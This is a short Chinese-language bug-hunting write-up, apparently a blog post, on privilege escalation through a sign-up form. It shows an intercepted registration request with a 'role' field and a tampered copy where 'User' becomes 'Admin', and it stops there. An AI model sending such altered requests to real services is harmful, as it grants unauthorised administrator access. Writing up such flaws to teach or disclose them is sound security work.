通过注册功能记录进行权限提升👋 大家好，安全极客们！有时，最大的漏洞隐藏在最基本的功能中。最近，我在测试一个 Web

👋 大家好，安全极客们！

有时，最大的漏洞隐藏在最基本的功能中。最近，我在测试一个 Web 应用程序时偶然发现了一个严重的权限提升错误 — 这都是因为系统对用户输入的信任度有点高。

权限提升图示

🧐 发现

当我决定仔细查看其注册过程时，我正在随便测试一个 Web 应用程序。

报名表格

没什么花哨的 — 只有常用的字段：姓名、用户名、电子邮件、电话、密码和......一个字段。这立即引起了我的注意。Role

注册请求正文（Burp）

{  "username":"attackerxx","name":"attackerxx","email":"attackerxx@gmail.com","phone":"87897165141","password":"C0b44tt4ck**","password":"C0b44tt4ck**","role":"User"}

大多数应用程序不允许用户在注册期间自行分配角色。服务器应自动将其设置为默认值，如 “User”。但是如果我能改变它呢？

我修改并转发了该请求。"role": "User"``"role": "Admin"

{  "username":"attackerxx","name":"attackerxx","email":"attackerxx@gmail.com","phone":"87897165141","password":"C0b44tt4ck**","password":"C0b44tt4ck**","role":"Admin"}